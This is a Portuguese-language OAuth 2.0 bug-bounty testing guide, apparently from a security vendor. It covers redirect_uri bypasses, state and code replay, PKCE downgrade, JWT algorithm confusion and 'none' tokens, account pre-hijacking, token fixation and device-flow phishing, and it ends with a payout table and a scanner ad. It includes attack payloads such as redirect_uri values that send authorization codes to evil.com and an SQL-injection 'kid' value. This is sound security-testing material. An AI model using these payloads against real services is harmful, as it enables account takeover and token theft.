As vulnerabilidades OAuth 2.0 estão consistentemente entre os maiores pagamentos de programas de bug bounty de gravidade crítica. Uma única tomada de conta por meio de configuração incorreta do OAuth pode resultar em comprometimento organizacional completo – e esses bugs aparecem em aplicativos usados por bilhões de pessoas.
Compreender qual fluxo um alvo usa determina quais ataques testar. O fluxo de código de autorização (com PKCE) é o mais seguro e mais comum. O agora obsoleto fluxo implícito tem inúmeras vulnerabilidades. Credenciais do cliente (máquina a máquina) tem sua própria superfície de ataque. Nunca use na produção: Credenciais de senha do proprietário do recurso.
Se o servidor de autorização validar redirect_uri com precisão insuficiente, um invasor poderá redirecionar o código de autorização para seu servidor controlado.
# Legitimate request
https://auth.example.com/oauth/authorize?
client_id=app123&
redirect_uri=https://app.com/callback&
response_type=code&state=xyz
# Attack attempts
# 1. Path traversal
redirect_uri=https://app.com/callback/../../../evil.com/steal
# 2. Additional path
redirect_uri=https://app.com.evil.com/callback
# 3. Fragment bypass
redirect_uri=https://app.com/callback%23@evil.com
# 4. Query string bypass
redirect_uri=https://app.com/callback?next=https://evil.com
O state parâmetro evita ataques CSRF durante fluxos OAuth. Se ausente ou previsível, um invasor pode forçar as vítimas a conectar suas contas a identidades controladas pelo invasor, permitindo o controle de contas.
# Check if state is:
# 1. Present in authorization request
# 2. Validated on callback
# 3. Cryptographically random (not sequential/predictable)
# 4. Single-use (replayed states should be rejected)
# Test: replay the same state parameter
curl -s "https://app.com/oauth/callback?code=VALID_CODE&state=PREVIOUSLY_USED_STATE"
# Should return: error (state already used)
# Authorization codes must be single-use
# Test by replaying the code after first exchange:
# First use (legitimate)
POST /oauth/token
code=AUTH_CODE_123&grant_type=authorization_code&...
# Second use (should fail)
POST /oauth/token
code=AUTH_CODE_123&grant_type=authorization_code&...
# Expected: {"error": "invalid_grant"}
PKCE evita ataques de interceptação de código de autorização. Se um servidor que suporta PKCE não o aplicar, os clientes públicos estarão vulneráveis.
# Start flow WITH PKCE (legitimate)
code_verifier = generate_random_string(64)
code_challenge = base64url(sha256(code_verifier))
GET /authorize?
code_challenge=abc123&
code_challenge_method=S256&...
# Attack: exchange code WITHOUT providing code_verifier
POST /token
grant_type=authorization_code&
code=INTERCEPTED_CODE&
redirect_uri=https://legitimate-app.com/callback
# Missing: code_verifier
# If this succeeds -> PKCE not enforced -> Critical vulnerability
# Attempt to downgrade from S256 to plain (less secure)
GET /authorize?
code_challenge=ACTUAL_CODE_VERIFIER&
code_challenge_method=plain&...
# If accepted: server may be using plain instead of S256
# Then exchange with code_verifier = original plain text
POST /token
code_verifier=ORIGINAL_PLAIN_TEXT&...
No fluxo implícito (obsoleto, mas ainda encontrado), tokens de acesso em fragmentos de URL (#access_token=...) não são enviados em cabeçalhos Referer - mas tokens em parâmetros de consulta (?access_token=...) fazem. Sempre verifique como os tokens aparecem nas URLs.
# Request minimal scope
GET /authorize?scope=read:email&...
# After getting access token, test unauthorized API calls
GET /api/user/delete
Authorization: Bearer ACCESS_TOKEN_WITH_READ_SCOPE
# Should return 403, not 200
# If access tokens are JWTs, test:
# 1. Algorithm confusion (RS256 -> HS256)
header = {"alg": "HS256", "typ": "JWT"}
# Sign with the public key as HMAC secret
# 2. None algorithm
header = {"alg": "none", "typ": "JWT"}
# Some libraries accept unsigned tokens
# 3. Kid injection (if 'kid' is used)
header = {"alg": "HS256", "kid": "' OR 1=1--"}
# SQL injection in kid parameter
# Tools:
# jwt_tool: python3 jwt_tool.py TOKEN -T (tamper)
# jwt-cracker: for weak secrets
# Test if old refresh tokens are invalidated after rotation
POST /token
grant_type=refresh_token&refresh_token=OLD_REFRESH_TOKEN
# If this returns a new token -> old token not invalidated
# Attacker who stole old refresh token can still get new access tokens
Se uma vítima se inscrever com e-mail/senha (e-mail: victim@gmail.com) e um invasor puder vincular uma conta Google OAuth com o mesmo e-mail para assumir o controle da conta da vítima – sem que o Google verifique a propriedade – isso é uma aquisição crítica da conta. Isto é especialmente comum em plataformas que permitem vincular vários provedores de autenticação.
# Attack scenario:
# 1. Attacker creates account with victim@example.com (before victim registers)
# 2. Attacker links their OAuth provider to this email
# 3. When victim later registers with Google OAuth using victim@example.com
# 4. Victim gains access to attacker's pre-created account (or vice versa)
# Test by:
# 1. Register account with victim's email (before they exist)
# 2. Connect OAuth from different email
# 3. Try to access victim's future account
# Some implementations allow specifying access_token in request
# or don't properly bind tokens to sessions
# Test: force a known token value
GET /oauth/callback?access_token=KNOWN_VALUE
# If the app accepts and uses this token -> token fixation
# If an application ties accounts to email (not sub):
# Register malicious OAuth provider with victim's email as their 'email' claim
# Some providers let you set arbitrary email claims
# Test by creating custom OAuth provider with:
{
"sub": "attacker-unique-id",
"email": "victim@example.com",
"email_verified": true
}
# Confidential clients must authenticate with client_secret
# Test if client_secret is optional:
POST /token
grant_type=authorization_code&
code=CODE&
client_id=CONFIDENTIAL_CLIENT_ID&
# Missing: client_secret
# If this works -> client authentication not enforced
# Device flow (for input-constrained devices) can be abused for phishing
POST /device/code
client_id=LEGITIMATE_CLIENT
# Returns user_code that victim enters at verification_uri
# Attacker uses this for social engineering:
# "Enter code XXXX-XXXX at accounts.target.com/activate"
| Tipo de bug | Plataforma | Impacto | Recompensa |
|---|---|---|---|
| desvio de redirecionamento_uri | Aquisição de conta | $25,000 | |
| Parâmetro de estado ausente | Airbnb | CSRF → ATO | $8,000 |
| Reutilização de código | Microsoft | Ataque de repetição | $15,000 |
| JWT nenhum algoritmo | Auth0 | Ignorar autenticação | $10,000 |
| Confusão de e-mail ATO | Slack | Aquisição de conta | $20,000 |
| PKCE não aplicado | Múltiplo | Interceptação de código | $5,000+ |
O scanner com tecnologia de IA do KENSAI testa suas implementações OAuth para interceptação de código de autorização, desvio de PKCE, vulnerabilidades de token e cenários de controle de conta automaticamente.
Iniciar verificação gratuita →A segurança não é opcional.
🗡️ A equipe KENSAI